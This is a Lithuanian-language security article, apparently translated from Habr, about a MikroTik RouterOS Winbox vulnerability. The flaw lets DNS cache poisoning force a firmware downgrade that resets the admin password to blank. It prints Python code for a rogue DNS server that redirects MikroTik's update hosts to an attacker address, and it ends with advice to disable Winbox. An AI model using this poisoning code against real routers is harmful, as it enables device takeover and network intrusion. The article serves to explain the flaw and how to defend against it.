„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Galimybė nuotoliniu būdu atnaujinti įrenginius, pagrįstus RouterOS (Mikrotik), kelia pavojų šimtams tūkstančių tinklo įrenginių. Pažeidžiamumas yra susijęs su „Winbox“ protokolo DNS talpyklos apsinuodijimu ir leidžia į įrenginį įkelti pasenusią (su numatytuoju slaptažodžio nustatymu iš naujo) arba pakeistą programinę-aparatinę įrangą.

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Išsami informacija apie pažeidžiamumą

„RouterOS“ terminalas palaiko DNS paieškos išsprendimo komandą.

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Šią užklausą apdoroja dvejetainis failas, vadinamas „resolver“. „Resolver“ yra vienas iš daugelio dvejetainių failų, kurie jungiasi prie „RouterOS“ „Winbox“ protokolo. Esant aukštam lygiui, „pranešimai“, siunčiami į „Winbox“ prievadą, gali būti nukreipti į įvairius RouterOS dvejetainius failus, remiantis masyvo numeravimo schema.

Pagal numatytuosius nustatymus RouterOS DNS serverio funkcija yra išjungta.

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Tačiau net ir išjungus serverio funkciją, maršrutizatorius išlaiko savo DNS talpyklą.

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Kai pateikiame užklausą naudodami winbox_dns_request, pvz., example.com, maršrutizatorius išsaugos rezultatą talpykloje.

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Kadangi galime nurodyti DNS serverį, per kurį turi būti pateikta užklausa, neteisingų adresų įvedimas yra nereikšmingas. Pavyzdžiui, galite sukonfigūruoti DNS serverio diegimą iš Filipas Klausasvisada atsakyti A įrašu, kuriame yra IP adresas 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Dabar, jei ieškote example.com naudodami Winbox, pamatysite, kad maršrutizatoriaus DNS talpykla yra užnuodyta.

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Žinoma, apsinuodijimas example.com nėra labai naudingas, nes maršruto parinktuvas iš tikrųjų jo nenaudos. Tačiau maršrutizatorius turi pasiekti upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ir download.mikrotik.com. O dar vienos klaidos dėka galima visus iš karto nunuodyti.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Maršrutizatorius prašo vieno leidimo, o mes grąžiname penkis. Maršrutizatorius netinkamai talpina visus šiuos atsakymus.

„RouterOS“ „Backport“ pažeidžiamumas kelia pavojų šimtams tūkstančių įrenginių

Akivaizdu, kad ši ataka taip pat naudinga, jei maršrutizatorius veikia kaip DNS serveris, nes leidžia užpulti maršrutizatoriaus klientus.

Ši ataka taip pat leidžia išnaudoti rimtesnį pažeidžiamumą: grąžinti RouterOS versiją arba grąžinti ją atgal. Užpuolikas atkuria naujinimo serverio logiką, įskaitant pakeitimų žurnalą, ir priverčia RouterOS suvokti pasenusią (pažeidžiamą) versiją kaip naujausią. Pavojus čia slypi tame, kad „atnaujinus“ versiją, administratoriaus slaptažodis iš naujo nustatomas į numatytąją reikšmę - užpuolikas gali prisijungti prie sistemos tuščiu slaptažodžiu!


Nepaisant to, puolimas yra gana veiksmingas autorius įgyvendina dar kelis vektorius, įskaitant susijusius su galinių durų įterpimas į programinę-aparatinę įrangą, tačiau tai jau perteklinė technika ir jos naudojimas neteisėtais tikslais yra neteisėtas.

apsauga

Tiesiog išjungę „Winbox“ galite apsisaugoti nuo šių atakų. Nepaisant administravimo per Winbox patogumo, geriau naudoti SSH protokolą.

Šaltinis: www.habr.com

Добавить комментарий